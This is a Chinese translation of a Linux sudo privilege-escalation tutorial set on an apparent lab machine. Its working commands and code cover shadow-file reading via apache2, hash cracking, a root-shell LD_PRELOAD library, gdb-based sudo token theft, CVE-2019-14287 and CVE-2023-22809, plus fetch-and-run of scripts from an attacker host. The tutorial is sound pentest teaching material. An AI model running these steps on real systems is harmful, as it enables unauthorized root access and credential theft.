Linux 提权-Sudo_2
本文通过 Google 翻译 Sudo Part-2 – Linux Privelege Escalation - Juggernaut-Sec 这篇文章所产生,本人仅是对机器翻译中部分表达不准确的字词进行了校正及个别注释补充。
导航
- 0 前言
- 1 第 1 部分快速回顾
- 2 利用 Sudo 命令 – 滥用预期功能
- 3 利用 Sudo 命令 – LD_PRELOAD 注入
- 4 利用 Sudo 命令 – Sudo 令牌重用
- 5 利用 Sudo 命令 – Sudo 版本 ≤1.8.27 (CVE-2019-14287)
- 6 利用 Sudo 命令 – Sudo 版本 ≤1.9.12p1 (CVE-2023-22809)
0、前言
在这篇文章中,我们将继续第 2 部分,了解如何通过滥用二进制文件 sudo特权来提权。
如果您尚未查看 第 1 部分 ,我强烈建议您在阅读本文之前先从第 1 部分开始。
在第 2 部分中,我们将把重点转向更高级的漏洞利用主题,例如:滥用预期功能(即在 GTFOBins 上未发现的二进制文件的额外功能)、LD_PRELOAD、令牌重用以及两个针对 sudo特定版本的 CVE 。
在我们开始讨论漏洞利用示例之前,让我们快速回顾一下第 1 部分中介绍的内容。
1、第 1 部分快速回顾
在这篇文章的第 1 部分中,我们了解到…
- sudo是什么以及它是如何工作的
- 如何手动寻找sudo权限
- 使用工具枚举sudo权限 (LinPEAS)
- GTFOBins是什么以及如何使用它
- 如何利用 GTFOBins 来利用四种不同的标准二进制文件:nmap、rsync、bzip2和dd
在第一篇文章中枚举和利用sudo权限之前,我们首先通过找到的凭据并以标准用户cain进行 SSH 登录,以在受害者机器上获得初步立足点 。
除了我们已经在受害者身上利用的四个二进制文件之外,用户sudo -l输出中还有其它3个条目。
在本文的第二部分中,我们将重点关注这3个命令作为我们的特权升级示例。
在本文的每个示例中,我们都不会在 GTFOBins 上发现漏洞。相反,我们需要了解这些程序如何工作然后才能利用它们。
Let’s jump in!
2、利用 Sudo 命令 – 滥用预期功能
在我们的第一个示例中,我们将针对上面 sudo -l 输出中发现的apache2这个二进制文件:(ALL : ALL) NOPASSWD: /usr/sbin/apache2
正如我们在第 1 部分中看到的,当我们发现我们对标准二进制文件具有sudo权限时,我们首先应该检查的第一件事是,该二进制文件是否在 GTFOBins 上具有可利用漏洞。
然而,在这种情况下,当我们过滤“apache”时,我们没有得到任何结果(即没有可用的漏洞利用!)
由于该二进制文件不在 GTFOBins 上,因此我们可以假设它不易受到攻击。或者,我们可以继续挖掘,看看是否可以以其它方式利用它。
我们可以通过Google搜索“apache2 sudo privilege escalation”来挖掘。
前两个链接看起来很有希望,通过检查第一个链接我们可以看到它表明apache2存在文件读取漏洞!
看起来这个漏洞利用会输出任何文件的第一行。对我们来说幸运的是,shadow文件的第一行包含root用户的hash值!
测试漏洞利用...
sudo /usr/sbin/apache2 -f /etc/shadow
有用!我们可以在这里看到它从 /etc/shadow 文件中提取了root的哈希值。
如果我们的谷歌搜索不那么幸运,下一步将是搜索可能被滥用的预期功能。为此,我们需要使用 -h 或 –help 开关检查帮助页面。
现在我们已经从影子文件中提取了root哈希,我们需要破解它。
2.1、使用 Hashcat 破解 Shadows 哈希
由于我们只需要hash值本身,因此我们只需从 $6$
复制 到 SHA-512 字符串的末尾。将其复制到攻击者计算机后,它应该如下所示:
接下来我们需要寻找该哈希类型的破解模式,然后才能继续破解。
hashcat -h | grep -i '$6'
这告诉我们我们有一个 SHA-512 Unix 操作系统哈希值。
由于 Unix SHA-512 哈希值很不错,因此尝试遍历 rockyou.txt 文件的所有字串将需要几个小时。因此,我们可以使用较短版本的 rockyou 来加快速度。如果我们不成功,我们可以建立一个更大的词汇表。
您可以从SecLists获得一些缩短版本的 rockyou 文件,以及更多好的字典。
hashcat -m 1800 ./root_hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o root_cracked
在短短 8 秒内,hashcat 就能够破解root哈希并恢复密码。
现在我们可以将此密码带回给受害者并su root来提升我们的权限!
su root
3、利用 Sudo 命令 – LD_PRELOAD 注入
LD_PRELOAD 也称为预加载,是 Linux 动态链接器中的一项强大且高级的功能,它允许用户将共享对象文件注入(预加载)到进程的地址空间中(在进程开始执行之前)。
作为攻击者,我们可以通过将我们自己的恶意预加载库注入到任何可以使用sudo权限运行的二进制文件中来利用此功能。
注意:这需要能够编辑 LD_PRELOAD 环境变量。如果您收到以下错误:“sudo: sorry, you are not allowed to set the following environment variables: LD_PRELOAD”,那么这将不起作用。
通过创建恶意预加载库,我们将强制命令在执行实际命令之前预加载(执行)我们的库。
首先,我们需要制作恶意库。
这可以通过编写和编译以下简单的 C 程序来完成:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
由于我们有完整的 TTY,因此我们可以直接在受害者机器上使用文本编辑器编辑文本。
现在我们已经创建了恶意的inject.c共享库文件,我们需要将其编译成共享对象。
gcc -fPIC -shared -nostartfiles inject.c -o inject.so
Perfect!我们的共享库已准备就绪。
之前,我们看到一些二进制文件没有为我们提供直接的 root shell:bzip2、dd和apache2 ,幸运的是,我们可以利用我们创建的恶意共享对象文件来注入这3个二进制文件中的任何一个,或任何其他我们可以使用sudo运行二进制文件以获得 root shell。
sudo LD_PRELOAD=/home/cain/inject.so /usr/sbin/apache2
Amazing!因为我们能够设置 LD_PRELOAD 变量,所以我们可以轻松地从任何可以使用sudo运行的二进制文件中获取root shell !
4、利用 Sudo 命令 – Sudo 令牌重用
sudo不仅是一个二进制文件、组和特权,它还是一个令牌!
虽然它并不是真正的令牌,但它已经被标记化了,因为它可以记住状态(距离上次使用已有多长时间)。
当我们使用sudo运行命令时,它通常会提示输入当前用户的密码。提供密码后,系统会创建一个令牌,该令牌会记住该密码 15 分钟。这允许用户多次使用sudo而无需不断输入密码。
尽管这是一个有用的功能,但如果条件合适的话,它也有其漏洞。
在这个例子中,我们将从用户cain出发,假装我们已经作为用户juggernaut在目标上获得了立足点。
另外,假设我们通过利用 Web 应用程序漏洞获得了立足点,因此我们目前不知道用户密码。
从这篇文章的第 1 部分中,我们看到juggernaut位于sudo组中,这意味着该用户可以使用sudo运行任何命令--只要默认配置没有更改即可。
这也意味着我们需要知道用户的密码才能使用sudo运行命令。
4.1、Shell 升级 – 完整 TTY
由于这个 shell 不是使用 SSH 创建的,因此我们获得立足点后要做的第一件事就是将 shell 升级为完整的 TTY。
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z #backgrounds netcat session
stty raw -echo
fg #brings netcat session back to the foreground
export TERM=xterm
现在我们有了完整的 TTY,就可以使用上下键浏览命令历史记录、使用tab键补全命令、clear命令清屏等。
此步骤对于本示例来说是必要的,因为sudo会提示输入密码,而只有在拥有完整的 TTY 时我们才能看到该密码。
现在我们有完整的 TTY,运行sudo -l,我们可以看到我们需要用户的密码才能使用sudo。
此时,我们应该开始在系统中寻找用户密码;不过,在本例中,我们将寻找令牌重用的机会。
如果你有一个具有 sudo 权限的用户 shell,但不知道该用户的密码,你可以等待他/她使用 sudo 执行某些命令来创建令牌。令牌创建后,你就可以从 sudo 的会话中访问令牌,并使用它执行任何带有 sudo 的命令。
4.2、Sudo 令牌重用条件
值得注意的是,必须满足一些条件才能利用此漏洞。
- 我们需要有一个拥有sudo权限的用户的shell
- 同一用户必须拥有一个具有有效 sudo 令牌的活动进程(shell +在过去 15 分钟内运行sudo )
- Ptrace需要完全启用
- 主机上需要有 gbd 命令(如果主机上没有 gbd,可将其复制过来)
现在我们知道了此漏洞利用所需的条件,让我们看看如何手动或使用 LinPEAS 来枚举条件。
4.3、手动寻找 Sudo 令牌重用条件
由于我们已经确认当前用户具有sudo权限,因此我们可以继续检查 Ptrace 的状态。
cat /proc/sys/kernel/yama/ptrace_scope
Great!在这里我们可以看到它被设置为“0”,这意味着它已完全启用。
接下来,我们需要检查受害主机上是否安装了gdb 。
为此,我们只需尝试运行命令gdb即可。如果我们进入gdb提示符,那么我们就知道它已安装并且可以访问(在我们的 PATH 中)。
最后,我们需要查找当前用户拥有的 "shell "进程。如果找到了,我们就可以尝试注入它们,看看是否有 sudo 令牌。
ps -ef | grep "bash\|sh" | grep -i "jugger"
这表明我们当前用户拥有两个bash进程:439 和 2516
其中一个进程是我们当前的 shell,可能是 PID 较高的那个。然而,另一个进程(439)的所有者是系统中的实际用户,他们像往常一样工作。
此时,我们可以使用以下命令测试 POC 以查看进程是否可注入(如果用户在过去 15 分钟内从该 shell发出sudo ):
echo 'call system ("echo | sudo -S touch /tmp/juggernaut ; echo | sudo -S chmod 777 /tmp/juggernaut")' | gdb -q -n -p "439" >/dev/null 2>&1
如果bash进程中有可用的sudo令牌,则会在/tmp目录中创建一个所有者是 root 且命名为 juggernaut 空文件。
Amazing! POC 起作用了,这意味着进程 439 中有一个sudo令牌。
在我们利用这一点之前,让我们快速检查一下 LinPEAS 在这方面做得如何。
4.4、自动寻找 Sudo 令牌重用条件 – LinPEAS
在本文的第 1 部分中,我们使用 LinPEAS 来枚举sudo权限。这次我们将检查它枚举sudo令牌重用漏洞的能力。
由于攻击者机器上的 Web 服务器仍在运行,我们可以再次将 LinPEAS 直接下载到内存中。
curl 172.16.1.30/linpeas.sh | bash
检查“User Information“部分,我们可以看到我们当前的用户juggernaut位于sudo组中,但前提是您知道用户密码。
此外,这次执行令牌检查时,发现了可重用的sudo令牌。
LinPEAS 自动完成了我们所做的一切。首先,它检查 ptrace 是否设置为 0(完全启用)。接下来,它会找到 shell 进程并尝试注入它们,就像我们为 POC 所做的那样。最后,它表明sudo令牌在该过程中是可重用的,因为它能够创建文件,就像我们手动创建的文件一样。
如果我们检查/tmp文件夹,应该有一个所有者是 root 且命名为shrndom32r2r的空文件。
Perfect! LinPEAS 在枚举sudo令牌重用漏洞方面做得非常出色。
对于此漏洞,您可能不会手动枚举它。您很可能会从 LinPEAS 输出中找到它。但是,如果您发现除 POC 之外的所有内容都失败了,则可以设置一个循环以每 5 分钟测试一次注入,直到成功。
4.5、利用 Sudo 令牌重用
要利用sudo令牌重用,我们需要前往此处的 GitHub 页面来获取漏洞。
在 GitHub 存储库上,我们将找到三个可以测试的脚本。如果其中一个失败,那么我们将继续进行下一个,直到获得 root shell。
首先,我们需要将整个存储库克隆到攻击者计算机上,然后将要传输给受害者的文件复制到我们的工作目录中。
git clone https://github.com/nongiach/sudo_inject.git
cd sudo_inject
cp exploit* /your/working/directory
cp activate_sudo_token /your/working/directory
接下来,我们需要将每个脚本的副本以及二进制activate_sudo_token传输到受害计算机。
为此,我们可以从工作目录中启动一个快速的 Web 服务器,然后将所有文件下载到受害者上。
python3 -m http.server 80
接下来,我们可以在受害者计算机上下载所有四个文件,如下所示:
curl 172.16.1.30/exploit.sh -o /tmp/exploit.sh
curl 172.16.1.30/exploit_v2.sh -o /tmp/exploit_v2.sh
curl 172.16.1.30/exploit_v3.sh -o /tmp/exploit_v3.sh
curl 172.16.1.30/activate_sudo_token -o /tmp/activate_sudo_token
将所有文件下载到受害者后,我们需要授予所有文件执行权限。
chmod 755 /tmp/exploit* ; chmod 755 activate_sudo_token
完美的!一切准备就绪,开始测试。
4.5.1、exploit.sh
如果我们检查第一个脚本,我们可以看到它创建了一个无效的sudo条目,用令牌注入activate_sudo_token二进制文件(如果存在),然后将令牌激活到我们当前的会话中。
为了让漏洞发挥作用,将exploit.sh和activate_sudo_token放在同一目录中非常重要。
让我们测试一下...
/tmp/exploit.sh
这里我们可以看到进程439被注入,这意味着令牌应该已经成功激活到我们当前的会话中。
为了测试它是否有效,我们所要做的就是运行sudo su并希望我们进入 root shell。
Amazing!我们成功窃取了实时sudo令牌,这使我们能够以 root 身份运行任何我们想要的命令!
如果由于某种原因运行sudo su没有让您进入 root shell,您可以尝试通过执行activate_sudo_token来手动激活 sudo 令牌。
或者,如果exploit.sh 无法工作,我们需要继续尝试exploit_v2.sh。
4.5.2、exploit_v2.sh
让我们看看第二个漏洞的作用。
与上一个漏洞类似,此漏洞注入 shell 进程以重用sudo令牌。但是,此漏洞利用令牌将sh复制到/tmp文件夹中,然后设置 SUID 位,而不是将令牌注入activate_sudo_token二进制文件并启用完整的sudo权限。
/tmp/exploit_v2.sh
Great!在这里我们可以看到漏洞利用有效并成功地重用了令牌。
现在我们需要做的就是执行 SUID sh文件并进入 root shell。
/tmp/sh -p
Awesome!另一个root shell !但是,如果这也不起作用怎么办?如果发生这种情况,我们需要继续测试exploit_v3.sh。
4.5.3、exploit_v3.sh
最后,让我们快速浏览一下第三个漏洞,看看它做了什么。
此漏洞利用会创建一个有效负载,该有效负载可全局启用sudo并将令牌计时器设置为无限期运行。创建有效负载后,该漏洞会将有效负载注入到sudoers.d目录中名为win的文件中。最后,执行sudo -i以进入 root shell。
/tmp/exploit_v3.sh
Awesome!令牌被重用并直接将我们带入 root shell!
现在我们已经广泛讨论了令牌重用,让我们将重点转移到影响不同版本的sudo二进制自身的漏洞利用上。
5、利用 Sudo 命令 – Sudo 版本 ≤1.8.27 (CVE-2019-14287)
对于最后两个示例,我们将以用户cain返回 shell 。
正如本文第 1 部分所述,sudo 是一个程序(二进制),这意味着它由于多次升级/更新而具有多个版本。这意味着 sudo的某些版本可能 具有公共漏洞和分配给它们的 CVE。
5.1、枚举 Sudo 的版本
获得立足点后需要检查的一件重要事情是受害主机上正在运行哪个版本的sudo 。
我们可以使用以下命令检查受害者上运行的sudo版本:
sudo -V
这里我们可以看到sudo版本是1.8.16。
5.2、在 Google 上搜索公开漏洞
我们的下一步是将其带到 Google 以查看此版本的sudo是否有任何漏洞。
这两个页面看起来都很有希望。在第一个网页的描述中,它提到该漏洞会影响 1.8.28 (≤1.8.27) 之前的所有版本。
第二页是exploitdb,它看起来与第一页中提到的利用相同。那么让我们从这里开始吧。
查看该漏洞,我们可以看到它影响sudo ≤1.8.27的所有版本。
如果有一个sudo条目允许当前用户以所有用户身份运行程序并指定 !root(非 root),则可以绕过此非root限制并仍然以 root 身份执行。
5.3、利用 CVE-2019-14287
检查sudo -l输出,我们可以看到当前用户可以使用类似的命令。
该条目表示我们当前的用户可以以任何非root身份运行/bin/bash,而无需指定任何用户的密码。
但是,如果我们遵循漏洞利用示例,我们可以运行以下命令来绕过此限制并以 root 身份执行/bin/bash。
sudo -u#-1 /bin/bash
Cool!这表明,当我们传递 UID -1 时sudo会感到困惑。
由于 UID -1 不存在,因此程序会自动使用下一个存在的 UID,即“0”或最终的 root。
6、利用 Sudo 命令 – Sudo 版本 ≤1.9.12p1 (CVE-2023-22809)
对于我们的最后一个示例,我们将回顾一个新的漏洞(在撰写本文时):CVE-2023-22809。
6.1、了解 sudoedit 是如何工作的
早些时候,当我们运行sudo -l时,输出显示了一个使用sudoedit的命令。
sudoedit类似于sudo -e,这是sudo提供的一种只用来编辑文件而不是执行文件的方式。
因为sudoedit相当于sudo -e,所以当我们运行此命令时,我们不会将s udo 添加到它的开头,因为sudo已经隐含了。
sudoedit /etc/apache2/apache2.conf
运行上述命令将创建apache2.conf文件的副本,其是以当前用户身份打开它而不是 root,保存时会用该副本覆盖现有文件。
这与使用具有sudo权限的文本编辑器(例如sudo vim )不同,后者实际上以 root 身份打开文件。
注意:在下一个示例中,我们需要知道当前用户的密码,因为没有指定 NOPASSWD。我用 NOPASSWD 测试了这个漏洞,但没有成功。也许这是一种快速的修补方法?- 我不知道......也许最好升级到最新版本。
6.2、在 Google 上搜索公开漏洞
由于安全研究人员最近披露了此漏洞,并影响广泛的sudo版本(1.8.0 至 1.9.12p1),因此在 Google 搜索sudoedit漏洞时会立即出现该漏洞。
在这里我们可以看到两个有趣的 CVE 位于搜索结果的顶部。
然而,让我们假装我们还不知道我们在寻找什么……好吧,在这种情况下,我们可能会先测试最上面的一个。
检查这里的GitHub链接,我们可以看到有一个测试命令来查看主机是否存在漏洞。
我们自己测试一下,希望能得到一个分段错误。
sudoedit -s '\' `perl -e 'print "A" x 65536'`
但是,我们收到“Usage”消息,这表明该版本(1.8.16)不易受到攻击。
如果您研究 CVE-2021-3156,您会发现该漏洞适用于各种sudo版本,但相当不一致:“影响 sudo 旧版本 1.8.2 到 1.8.31p2 以及稳定版本 1.9.x 到 1.9.5p1
看起来我们的版本正好低于易受攻击的版本。
好吧,继续,接下来我们可以查看第二个漏洞利用的链接
我们立刻就可以看到这个看起来更有前途。它涵盖了更广泛的版本,包括受害者上的版本,并且还影响该范围内的所有版本。
由于这看起来不错,让我们继续在攻击者计算机上获取一份副本,然后查看脚本。
6.3、查看 CVE-2023-22809 漏洞利用脚本
将脚本复制到攻击者计算机上后,我们可以看看它做了什么。
在这里我们可以看到脚本通过检查sudo版本来启动。接下来,它创建变量“EXPLOITABLE”,然后使用它来检查用户是否可以以 root 身份运行sudoedit。
如果两项检查均成功,则程序会通过强制编辑任意文件(本例编辑的是sudoers 文件)而不是sudo -l输出中指定的文件来利用sudoedit。
在 1.9.12p2 之前的 Sudo 中,sudoedit(又名 -e)功能会错误处理用户提供的环境变量(SUDO_EDITOR、VISUAL 和 EDITOR)中传递的额外参数,从而允许本地攻击者在要利用的文本文件中添加任意条目。这可能导致权限升级,受影响的版本为 1.8.0 至 1.9.12.p1。该问题存在的原因是用户指定的编辑器可能包含一个会破坏保护机制的"-"参数,例如 EDITOR='vim - /path/to/extra/file' 值。
伟大的!现在我们了解了这个漏洞的作用,让我们用它来获取 root shell!
6.4、利用 CVE-2023-22809
好吧,由于我们的 HTTP 服务器仍在运行,我们可以将漏洞利用程序下载到受害者身上并为权限升级做好准备。
curl 172.16.1.30/CVE-2023-22809.sh -o /tmp/CVE-2023-22809.sh
chmod 755 /tmp/CVE-2023-22809.sh
在转移漏洞并赋予其执行权限后,剩下要做的就是运行它并希望获得 root shell。
真相时刻……
/tmp/CVE-2023-22809.sh
这向我们表明用户很容易受到攻击,并要求我们按任意键继续。只需按 [Enter],sudoers文件就会打开并可编辑。
此时,我们所要做的就是添加以下行以提供完整的sudo权限。
cain ALL=(ALL:ALL) ALL
由于这是vim ,在我们添加行并解锁sudo的全部潜力后,我们需要按CTRL + C退出“编辑模式”,然后输入wq! 强制保存更改。
完成后,我们应该发现我们已自动进入 root shell,因为漏洞利用是通过运行sudo su完成的。
Awesome!它是有效的,我们能够成功编辑sudoers文件,即使我们没有这样做的权限!